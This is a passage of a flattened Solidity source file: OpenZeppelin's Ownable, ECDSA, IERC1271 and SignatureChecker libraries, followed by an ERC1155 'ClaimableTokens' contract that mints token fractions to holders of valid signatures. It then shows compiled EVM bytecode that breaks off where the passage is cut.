Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/cryptography/ECDSA.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // File @openzeppelin/contracts/interfaces/IERC1271.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Interface of the ERC1271 standard signature validation method for * contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271]. * * _Available since v4.1._ */ interface IERC1271 { /** * @dev Should return whether the signature provided is valid for the provided data * @param hash Hash of the data to be signed * @param signature Signature byte array associated with _data */ function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); } // File @openzeppelin/contracts/utils/cryptography/SignatureChecker.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Signature verification helper: Provide a single mechanism to verify both private-key (EOA) ECDSA signature and * ERC1271 contract sigantures. Using this instead of ECDSA.recover in your contract will make them compatible with * smart contract wallets such as Argent and Gnosis. * * Note: unlike ECDSA signatures, contract signature's are revocable, and the outcome of this function can thus change * through time. It could return true at block N and false at block N+1 (or the opposite). * * _Available since v4.1._ */ library SignatureChecker { function isValidSignatureNow( address signer, bytes32 hash, bytes memory signature ) internal view returns (bool) { (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature); if (error == ECDSA.RecoverError.NoError && recovered == signer) { return true; } (bool success, bytes memory result) = signer.staticcall( abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature) ); return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector); } } // File contracts/ClaimableTokens.sol pragma solidity ^0.8.0; contract ClaimableTokens is ERC1155, Ownable { mapping(uint256 => address) private _publicKeys; mapping(uint256 => mapping (uint256 => address)) private _claimedBy; mapping(uint256 => uint256) private _fractionsPerSlot; mapping(uint256 => uint256) private _numOfSlots; mapping(uint256 => string) _URIs; uint256[] _registeredTokens; string _name; string _symbol; constructor(string memory givenName, string memory givenSymbol) ERC1155("NOT_USED") { _name = givenName; _symbol = givenSymbol; } function claimTokenFractions(uint256 tokenId, uint256 n, bytes memory signature) public virtual { // Require that the signer of _hash(tokenId, n) was the private key corresponding to _internalPublicKey require( SignatureChecker.isValidSignatureNow(_publicKeys[tokenId], hash(tokenId, n), signature), "Wrong signature" ); require(_fractionsPerSlot[tokenId] > 0, "Invalid tokenId (nonexistent)"); require(n < _numOfSlots[tokenId], "Invalid n"); require(_claimedBy[tokenId][n] == address(0), "No more fractions available to claim"); _claimedBy[tokenId][n] = msg.sender; _mint(msg.sender, tokenId, _fractionsPerSlot[tokenId], ""); } function createToken(uint256 tokenId, uint256 numOfSlots, uint256 fractionsPerSlot, address publicKey, string memory tokenUri) public virtual onlyOwner { require(_numOfSlots[tokenId] == 0, "Token was already created"); require(publicKey != address(0), "Public Key must be non-zero"); require(fractionsPerSlot * numOfSlots > 0, "Total supply must be > 0"); _numOfSlots[tokenId] = numOfSlots; _publicKeys[tokenId] = publicKey; _fractionsPerSlot[tokenId] = fractionsPerSlot; _URIs[tokenId] = tokenUri; _registeredTokens.push(tokenId); } function hash(uint256 tokenId, uint256 n) public pure returns (bytes32) { bytes32 hashedMsg = keccak256(abi.encode(tokenId, n)); return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hashedMsg)); } function totalSupply(uint256 tokenId) public view returns (uint256) { return _numOfSlots[tokenId] * _fractionsPerSlot[tokenId]; } function claimedBy(uint256 tokenId, uint256 n) public view returns (address) { return _claimedBy[tokenId][n]; } function totalClaimed(uint256 tokenId) public view returns (uint256) { uint256 total = 0; for (uint256 i = 0; i < _numOfSlots[tokenId]; i++) { if (claimedBy(tokenId, i) != address(0)) { total += _fractionsPerSlot[tokenId]; } } return total; } function uri(uint256 tokenId) public view virtual override returns (string memory) { return _URIs[tokenId]; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function registeredTokens() public view returns (uint256[] memory) { return _registeredTokens; } }
0x608060405234801561001057600080fd5b506004361061012b5760003560e01c8063944050d3116100ad578063d00ee1fb11610071578063d00ee1fb14610342578063e985e9c514610372578063eaab2c3f146103a2578063f242432a146103d2578063f2fde38b146103ee5761012b565b8063944050d31461028c57806395d89b41146102a8578063a22cb465146102c6578063a78dac0d146102e2578063bd85b039146103125761012b565b806344b00dbd116100f457806344b00dbd146101fa57806345466616146102165780634e1273f414610234578063715018a6146102645780638da5cb5b1461026e5761012b565b8062fdd58e1461013057806301ffc9a71461016057806306fdde03146101905780630e89341c146101ae5780632eb2c2d6146101de575b600080fd5b61014a60048036038101906101459190612a22565b61040a565b60405161015791906135d0565b60405180910390f35b61017a60048036038101906101759190612ada565b6104d3565b6040516101879190613283565b60405180910390f35b6101986105b5565b6040516101a5919061332e565b60405180910390f35b6101c860048036038101906101c39190612b34565b610647565b6040516101d5919061332e565b60405180910390f35b6101f860048036038101906101f3919061287c565b6106ec565b005b610214600480360381019061020f9190612c10565b61078d565b005b61021e6109f7565b60405161022b919061322a565b60405180910390f35b61024e60048036038101906102499190612a62565b610a4f565b60405161025b919061322a565b60405180910390f35b61026c610b68565b005b610276610bf0565b604051610283919061314d565b60405180910390f35b6102a660048036038101906102a19190612ba1565b610c1a565b005b6102b0610e94565b6040516102bd919061332e565b60405180910390f35b6102e060048036038101906102db91906129e2565b610f26565b005b6102fc60048036038101906102f79190612b61565b6110a7565b604051610309919061329e565b60405180910390f35b61032c60048036038101906103279190612b34565b611105565b60405161033991906135d0565b60405180910390f35b61035c60048036038101906103579190612b61565b611140565b604051610369919061314d565b60405180910390f35b61038c6004803603810190610387919061283c565b61118f565b6040516103999190613283565b60405180910390f35b6103bc60048036038101906103b79190612b34565b611223565b6040516103c991906135d0565b60405180910390f35b6103ec60048036038101906103e7919061294b565b6112c4565b005b6104086004803603810190610403919061280f565b611365565b005b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561047b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610472906133d0565b60405180910390fd5b60008083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061059e57507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806105ae57506105ad8261145d565b5b9050919050565b6060600a80546105c4906138f7565b80601f01602080910402602001604051908101604052809291908181526020018280546105f0906138f7565b801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b5050505050905090565b6060600860008381526020019081526020016000208054610667906138f7565b80601f0160208091040260200160405190810160405280929190818152602001828054610693906138f7565b80156106e05780601f106106b5576101008083540402835291602001916106e0565b820191906000526020600020905b8154815290600101906020018083116106c357829003601f168201915b50505050509050919050565b6106f46114c7565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061073a5750610739856107346114c7565b61118f565b5b610779576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077090613490565b60405180910390fd5b61078685858585856114cf565b5050505050565b6107956114c7565b73ffffffffffffffffffffffffffffffffffffffff166107b3610bf0565b73ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610800906134f0565b60405180910390fd5b600060076000878152602001908152602001600020541461085f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610856906134b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690613510565b60405180910390fd5b600084846108dd91906137d0565b1161091d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091490613430565b60405180910390fd5b836007600087815260200190815260200160002081905550816004600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826006600087815260200190815260200160002081905550806008600087815260200190815260200160002090805190602001906109c69291906124e7565b5060098590806001815401808255809150506001900390600052602060002001600090919091909150555050505050565b60606009805480602002602001604051908101604052809291908181526020018280548015610a4557602002820191906000526020600020905b815481526020019060010190808311610a31575b5050505050905090565b60608151835114610a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8c90613570565b60405180910390fd5b6000835167ffffffffffffffff811115610ab257610ab1613a69565b5b604051908082528060200260200182016040528015610ae05781602001602082028036833780820191505090505b50905060005b8451811015610b5d57610b2d858281518110610b0557610b04613a3a565b5b6020026020010151858381518110610b2057610b1f613a3a565b5b602002602001015161040a565b828281518110610b4057610b3f613a3a565b5b60200260200101818152505080610b569061395a565b9050610ae6565b508091505092915050565b610b706114c7565b73ffffffffffffffffffffffffffffffffffffffff16610b8e610bf0565b73ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb906134f0565b60405180910390fd5b610bee60006117e3565b565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c616004600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c5b85856110a7565b836118a9565b610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c97906133b0565b60405180910390fd5b6000600660008581526020019081526020016000205411610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced90613530565b60405180910390fd5b60076000848152602001908152602001600020548210610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4290613450565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660056000858152602001908152602001600020600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590613390565b60405180910390fd5b3360056000858152602001908152602001600020600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e8f3384600660008781526020019081526020016000205460405180602001604052806000815250611a8e565b505050565b6060600b8054610ea3906138f7565b80601f0160208091040260200160405190810160405280929190818152602001828054610ecf906138f7565b8015610f1c5780601f10610ef157610100808354040283529160200191610f1c565b820191906000526020600020905b815481529060010190602001808311610eff57829003601f168201915b5050505050905090565b8173ffffffffffffffffffffffffffffffffffffffff16610f456114c7565b73ffffffffffffffffffffffffffffffffffffffff161415610f9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9390613550565b60405180910390fd5b8060016000610fa96114c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166110566114c7565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161109b9190613283565b60405180910390a35050565b60008083836040516020016110bd9291906135eb565b604051602081830303815290604052805190602001209050806040516020016110e69190613127565b6040516020818303038152906040528051906020012091505092915050565b60006006600083815260200190815260200160002054600760008481526020019081526020016000205461113991906137d0565b9050919050565b600060056000848152602001908152602001600020600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000806000905060005b60076000858152602001908152602001600020548110156112ba57600073ffffffffffffffffffffffffffffffffffffffff1661126a8583611140565b73ffffffffffffffffffffffffffffffffffffffff16146112a7576006600085815260200190815260200160002054826112a4919061377a565b91505b80806112b29061395a565b91505061122d565b5080915050919050565b6112cc6114c7565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061131257506113118561130c6114c7565b61118f565b5b611351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134890613410565b60405180910390fd5b61135e8585858585611c24565b5050505050565b61136d6114c7565b73ffffffffffffffffffffffffffffffffffffffff1661138b610bf0565b73ffffffffffffffffffffffffffffffffffffffff16146113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d8906134f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611451576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611448906133f0565b60405180910390fd5b61145a816117e3565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b8151835114611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a90613590565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613470565b60405180910390fd5b600061158d6114c7565b905061159d818787878787611ea6565b60005b845181101561174e5760008582815181106115be576115bd613a3a565b5b6020026020010151905060008583815181106115dd576115dc613a3a565b5b60200260200101519050600080600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561167e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611675906134d0565b60405180910390fd5b81810360008085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160008085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611733919061377a565b92505081905550505050806117479061395a565b90506115a0565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516117c592919061324c565b60405180910390a46117db818787878787611eae565b505050505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060006118b88585612095565b91509150600060048111156118d0576118cf6139dc565b5b8160048111156118e3576118e26139dc565b5b14801561191b57508573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561192b57600192505050611a87565b6000808773ffffffffffffffffffffffffffffffffffffffff16631626ba7e60e01b88886040516024016119609291906132b9565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119ca9190613110565b600060405180830381855afa9150503d8060008114611a05576040519150601f19603f3d011682016040523d82523d6000602084013e611a0a565b606091505b5091509150818015611a1d575060208151145b8015611a805750631626ba7e60e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681806020019051810190611a5f9190612b07565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9450505050505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af5906135b0565b60405180910390fd5b6000611b086114c7565b9050611b2981600087611b1a88612118565b611b2388612118565b87611ea6565b8260008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b88919061377a565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051611c069291906135eb565b60405180910390a4611c1d81600087878787612192565b5050505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8b90613470565b60405180910390fd5b6000611c9e6114c7565b9050611cbe818787611caf88612118565b611cb888612118565b87611ea6565b600080600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4c906134d0565b60405180910390fd5b83810360008087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360008087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e0a919061377a565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628888604051611e879291906135eb565b60405180910390a4611e9d828888888888612192565b50505050505050565b505050505050565b611ecd8473ffffffffffffffffffffffffffffffffffffffff16612379565b1561208d578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b8152600401611f13959493929190613168565b602060405180830381600087803b158015611f2d57600080fd5b505af1925050508015611f5e57506040513d601f19601f82011682018060405250810190611f5b9190612b07565b60015b61200457611f6a613a98565b806308c379a01415611fc75750611f7f61403c565b80611f8a5750611fc9565b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbe919061332e565b60405180910390fd5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb90613350565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161461208b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208290613370565b60405180910390fd5b505b505050505050565b6000806041835114156120d75760008060006020860151925060408601519150606086015160001a90506120cb8782858561238c565b94509450505050612111565b6040835114156121085760008060208501519150604085015190506120fd868383612499565b935093505050612111565b60006002915091505b9250929050565b60606000600167ffffffffffffffff81111561213757612136613a69565b5b6040519080825280602002602001820160405280156121655781602001602082028036833780820191505090505b509050828160008151811061217d5761217c613a3a565b5b60200260200101818152505080915050919050565b6121b18473ffffffffffffffffffffffffffffffffffffffff16612379565b15612371578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b81526004016121f79594939291906131d0565b602060405180830381600087803b15801561221157600080fd5b505af192505050801561224257506040513d601f19601f8201168201806040525081019061223f9190612b07565b60015b6122e85761224e613a98565b806308c379a014156122ab575061226361403c565b8061226e57506122ad565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a2919061332e565b60405180910390fd5b505b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122df90613350565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161461236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236690613370565b60405180910390fd5b505b505050505050565b600080823b905060008111915050919050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c11156123c7576000600391509150612490565b601b8560ff16141580156123df5750601c8560ff1614155b156123f1576000600491509150612490565b60006001878787876040516000815260200160405260405161241694939291906132e9565b6020604051602081039080840390855afa158015612438573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561248757600060019250925050612490565b80600092509250505b94509492505050565b6000806000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff85169150601b8560ff1c0190506124d98782888561238c565b935093505050935093915050565b8280546124f3906138f7565b90600052602060002090601f016020900481019282612515576000855561255c565b82601f1061252e57805160ff191683800117855561255c565b8280016001018555821561255c579182015b8281111561255b578251825591602001919060010190612540565b5b509050612569919061256d565b5090565b5b8082111561258657600081600090555060010161256e565b5090565b600061259d61259884613639565b613614565b905080838252602082019050828560208602820111156125c0576125bf613abf565b5b60005b858110156125f057816125d688826126ee565b8452602084019350602083019250506001810190506125c3565b5050509392505050565b600061260d61260884613665565b613614565b905080838252602082019050828560208602820111156126305761262f613abf565b5b60005b85811015612660578161264688826127fa565b845260208401935060208301925050600181019050612633565b5050509392505050565b600061267d61267884613691565b613614565b90508281526020810184848401111561269957612698613ac4565b5b6126a48482856138b5565b509392505050565b60006126bf6126ba846136c2565b613614565b9050828152602081018484840111156126db576126da613ac4565b5b6126e68482856138b5565b509392505050565b6000813590506126fd816140d2565b92915050565b600082601f83011261271857612717613aba565b5b813561272884826020860161258a565b91505092915050565b600082601f83011261274657612745613aba565b5b81356127568482602086016125fa565b91505092915050565b60008135905061276e816140e9565b92915050565b60008135905061278381614100565b92915050565b60008151905061279881614100565b92915050565b600082601f8301126127b3576127b2613aba565b5b81356127c384826020860161266a565b91505092915050565b600082601f8301126127e1576127e0613aba565b5b81356127f18482602086016126ac565b91505092915050565b60008135905061280981614117565b92915050565b60006020828403121561282557612824613ace565b5b6000612833848285016126ee565b91505092915050565b6000806040838503121561285357612852613ace565b5b6000612861858286016126ee565b9250506020612872858286016126ee565b9150509250929050565b600080600080600060a0868803121561289857612897613ace565b5b60006128a6888289016126ee565b95505060206128b7888289016126ee565b945050604086013567ffffffffffffffff8111156128d8576128d7613ac9565b5b6128e488828901612731565b935050606086013567ffffffffffffffff81111561290557612904613ac9565b5b61291188828901612731565b925050608086013567ffffffffffffffff81111561293257612931613ac9565b5b61293e8882890161279e565b9150509295509295909350565b600080600080600060a0868803121561296757612966613ace565b5b6000612975888289016126ee565b9550506020612986888289016126ee565b9450506040612997888289016127fa565b93505060606129a8888289016127fa565b925050608086013567ffffffffffffffff8111156129c9576129c8613ac9565b5b6129d58882890161279e565b9150509295509295909350565b600080604083850312156129f9576129f8613ace565b5b6000612a07858286016126ee565b9250506020612a188582860161275f565b9150509250929050565b60008060408385031215612a3957612a38613ace565b5b6000612a47858286016126ee565b9250506020612a58858286016127fa565b9150509250929050565b60008060408385031215612a7957612a78613ace565b5b600083013567ffffffffffffffff811115612a9757612a96613ac9565b5b612aa385828601612703565b925050602083013567ffffffffffffffff811115612ac457612ac3613ac9565b5b612ad085828601612731565b9150509250929050565b600060208284031215612af057612aef613ace565b5b6000612afe84828501612774565b91505092915050565b600060208284031215612b1d57612b1c613ace565b5b6000612b2b84828501612789565b91505092915050565b600060208284031215612b4a57612b49613ace565b5b6000612b58848285016127fa565b91505092915050565b60008060408385031215612b7857612b77613ace565b5b6000612b86858286016127fa565b9250506020612b97858286016127fa565b9150509250929050565b600080600060608486031215612b